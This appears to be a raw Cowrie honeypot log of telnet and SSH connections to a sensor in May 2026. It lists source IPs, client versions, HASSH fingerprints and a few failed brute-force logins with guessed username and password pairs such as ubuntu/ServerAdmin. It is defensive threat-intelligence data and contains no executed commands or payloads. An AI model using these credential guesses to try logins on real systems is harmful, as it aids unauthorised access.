{"eventid":"cowrie.login.failed","username":"test","password":"123.com","message":"login attempt [test/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:20.677509Z","src_ip":"103.170.173.26","session":"68dbfec64460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52204,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d650d54fd45","protocol":"telnet","message":"New connection: 206.189.32.23:52204 (10.17.0.5:23) [session: 7d650d54fd45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:20.991401Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60890,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cdafed0af28","protocol":"telnet","message":"New connection: 162.55.233.176:60890 (159.203.135.109:23) [session: 8cdafed0af28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:21.374234Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:21.932696Z","src_ip":"103.170.173.26","session":"68dbfec64460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35964,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ebf9197536","protocol":"telnet","message":"New connection: 206.189.32.23:35964 (10.17.0.5:23) [session: 34ebf9197536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:31.971602Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35106,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f01505f1b13","protocol":"telnet","message":"New connection: 206.189.32.23:35106 (10.17.0.5:23) [session: 2f01505f1b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:33.945116Z"}
{"eventid":"cowrie.session.closed","duration":38.42817544937134,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:35.434023Z","src_ip":"162.55.233.176","session":"33954f7a80d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226433515548706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:37.285196Z","src_ip":"162.55.233.176","session":"c4f65682599d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.513689279556274,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:38.936383Z","src_ip":"188.208.141.113","session":"200a50c5caae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42808,"dst_ip":"159.203.135.109","dst_port":23,"session":"66c9b2f8f2a4","protocol":"telnet","message":"New connection: 162.55.233.176:42808 (159.203.135.109:23) [session: 66c9b2f8f2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:40.268616Z"}
{"eventid":"cowrie.session.closed","duration":120.00183963775635,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:41.616707Z","src_ip":"206.189.32.23","session":"6be0a2d88c2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44612,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f59669cb1fa","protocol":"telnet","message":"New connection: 206.189.32.23:44612 (10.17.0.5:23) [session: 7f59669cb1fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:44.146914Z"}
{"eventid":"cowrie.session.closed","duration":31.545231819152832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:45.777801Z","src_ip":"162.55.233.176","session":"6f48cd7144b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":52720,"dst_ip":"10.17.0.5","dst_port":22,"session":"801ce2afc954","protocol":"ssh","message":"New connection: 2.57.122.238:52720 (10.17.0.5:22) [session: 801ce2afc954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:46.441408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:46.445217Z","src_ip":"2.57.122.238","session":"801ce2afc954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:46.544235Z","src_ip":"2.57.122.238","session":"801ce2afc954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:46.855936Z","src_ip":"2.57.122.238","session":"801ce2afc954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:47.958093Z","src_ip":"2.57.122.238","session":"801ce2afc954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.310298204422,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:53.684399Z","src_ip":"162.55.233.176","session":"8cdafed0af28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58846,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e3ec1a0b237","protocol":"telnet","message":"New connection: 162.55.233.176:58846 (159.203.135.109:23) [session: 2e3ec1a0b237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:21:54.790750Z"}
{"eventid":"cowrie.session.closed","duration":49.63786864280701,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:03.063527Z","src_ip":"206.189.32.23","session":"d63b8921ce06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.45643877983093,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:03.447736Z","src_ip":"206.189.32.23","session":"7d650d54fd45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.67833757400513,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:03.455578Z","src_ip":"206.189.32.23","session":"9153fbb434b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34580,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5510f3a4acd","protocol":"telnet","message":"New connection: 206.189.32.23:34580 (10.17.0.5:23) [session: b5510f3a4acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:03.787398Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59146,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5745e0e5b4e","protocol":"telnet","message":"New connection: 188.208.141.113:59146 (10.17.0.5:23) [session: a5745e0e5b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:04.618655Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35244,"dst_ip":"10.17.0.5","dst_port":23,"session":"a013fc17f3df","protocol":"telnet","message":"New connection: 206.189.32.23:35244 (10.17.0.5:23) [session: a013fc17f3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:04.668980Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":22524,"dst_ip":"159.203.135.109","dst_port":22,"session":"442610673a79","protocol":"ssh","message":"New connection: 194.59.206.2:22524 (159.203.135.109:22) [session: 442610673a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:06.011433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:06.021471Z","src_ip":"194.59.206.2","session":"442610673a79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:06.108610Z","src_ip":"194.59.206.2","session":"442610673a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:06.200496Z","src_ip":"194.59.206.2","session":"442610673a79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44770,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cfe35ade86f","protocol":"telnet","message":"New connection: 162.55.233.176:44770 (159.203.135.109:23) [session: 4cfe35ade86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:09.433287Z"}
{"eventid":"cowrie.session.closed","duration":30.83686661720276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:11.105385Z","src_ip":"162.55.233.176","session":"66c9b2f8f2a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.57521367073059,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:14.546691Z","src_ip":"206.189.32.23","session":"34ebf9197536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.12838125228882,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:16.073397Z","src_ip":"206.189.32.23","session":"2f01505f1b13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51430,"dst_ip":"159.203.135.109","dst_port":23,"session":"18d74952d1ac","protocol":"telnet","message":"New connection: 162.55.233.176:51430 (159.203.135.109:23) [session: 18d74952d1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:22.035513Z"}
{"eventid":"cowrie.session.closed","duration":41.591848850250244,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:25.738635Z","src_ip":"206.189.32.23","session":"7f59669cb1fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47111201286316,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:30.261760Z","src_ip":"162.55.233.176","session":"2e3ec1a0b237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33630,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7673d42d987","protocol":"telnet","message":"New connection: 206.189.32.23:33630 (10.17.0.5:23) [session: f7673d42d987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:36.597461Z"}
{"eventid":"cowrie.session.closed","duration":31.760101079940796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:41.193256Z","src_ip":"162.55.233.176","session":"4cfe35ade86f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.2332987785339355,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:41.830635Z","src_ip":"206.189.32.23","session":"f7673d42d987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.171.22.210","src_port":34129,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a85fe7ee2a","protocol":"telnet","message":"New connection: 45.171.22.210:34129 (10.17.0.5:23) [session: c6a85fe7ee2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:42.231497Z"}
{"eventid":"cowrie.session.closed","duration":37.94064688682556,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:42.559078Z","src_ip":"188.208.141.113","session":"a5745e0e5b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58398,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3c575bcf023","protocol":"telnet","message":"New connection: 162.55.233.176:58398 (159.203.135.109:23) [session: f3c575bcf023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:46.316859Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58402,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8850176b136","protocol":"telnet","message":"New connection: 162.55.233.176:58402 (159.203.135.109:23) [session: f8850176b136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:47.342047Z"}
{"eventid":"cowrie.session.closed","duration":44.96293044090271,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:22:48.750231Z","src_ip":"206.189.32.23","session":"b5510f3a4acd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.979100942611694,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:01.014521Z","src_ip":"162.55.233.176","session":"18d74952d1ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59236,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b3d2c48a0a3","protocol":"telnet","message":"New connection: 162.55.233.176:59236 (159.203.135.109:23) [session: 0b3d2c48a0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:02.597013Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54700,"dst_ip":"10.17.0.5","dst_port":23,"session":"5506bb205c6d","protocol":"telnet","message":"New connection: 188.208.141.113:54700 (10.17.0.5:23) [session: 5506bb205c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:04.551613Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57402,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d771463039","protocol":"telnet","message":"New connection: 162.55.233.176:57402 (159.203.135.109:23) [session: e2d771463039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:07.183156Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41546,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0aa8d9afc55","protocol":"telnet","message":"New connection: 206.189.32.23:41546 (10.17.0.5:23) [session: f0aa8d9afc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:12.800923Z"}
{"eventid":"cowrie.session.closed","duration":31.703145503997803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:18.019886Z","src_ip":"162.55.233.176","session":"f3c575bcf023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.377432584762573,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:18.178251Z","src_ip":"206.189.32.23","session":"f0aa8d9afc55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069897890090942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:18.411827Z","src_ip":"162.55.233.176","session":"f8850176b136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":32987,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bf8fced7162","protocol":"ssh","message":"New connection: 103.170.173.26:32987 (159.203.135.109:22) [session: 8bf8fced7162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:25.251640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:25.256086Z","src_ip":"103.170.173.26","session":"8bf8fced7162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:25.526526Z","src_ip":"103.170.173.26","session":"8bf8fced7162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ServerAdmin","message":"login attempt [ubuntu/ServerAdmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:26.642541Z","src_ip":"103.170.173.26","session":"8bf8fced7162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:27.915452Z","src_ip":"103.170.173.26","session":"8bf8fced7162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57724,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0033300a7d6","protocol":"telnet","message":"New connection: 206.189.32.23:57724 (10.17.0.5:23) [session: e0033300a7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:29.127451Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33878,"dst_ip":"10.17.0.5","dst_port":23,"session":"f371c3420239","protocol":"telnet","message":"New connection: 188.208.141.113:33878 (10.17.0.5:23) [session: f371c3420239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:40.281779Z"}
{"eventid":"cowrie.session.closed","duration":37.81739640235901,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:40.414269Z","src_ip":"162.55.233.176","session":"0b3d2c48a0a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53860,"dst_ip":"10.17.0.5","dst_port":23,"session":"06db985c1c07","protocol":"telnet","message":"New connection: 188.208.141.113:53860 (10.17.0.5:23) [session: 06db985c1c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:43.757961Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53864,"dst_ip":"10.17.0.5","dst_port":23,"session":"1458e537cbf5","protocol":"telnet","message":"New connection: 188.208.141.113:53864 (10.17.0.5:23) [session: 1458e537cbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:43.994068Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47866,"dst_ip":"10.17.0.5","dst_port":23,"session":"1339acd5b43b","protocol":"telnet","message":"New connection: 206.189.32.23:47866 (10.17.0.5:23) [session: 1339acd5b43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:44.105830Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36486,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e026491889d","protocol":"telnet","message":"New connection: 162.55.233.176:36486 (159.203.135.109:23) [session: 4e026491889d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:44.369956Z"}
{"eventid":"cowrie.session.closed","duration":37.77213191986084,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:44.955189Z","src_ip":"162.55.233.176","session":"e2d771463039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.75022745132446,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:46.301732Z","src_ip":"188.208.141.113","session":"5506bb205c6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.097939968109131,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:23:50.855804Z","src_ip":"188.208.141.113","session":"06db985c1c07","protocol":"telnet"}
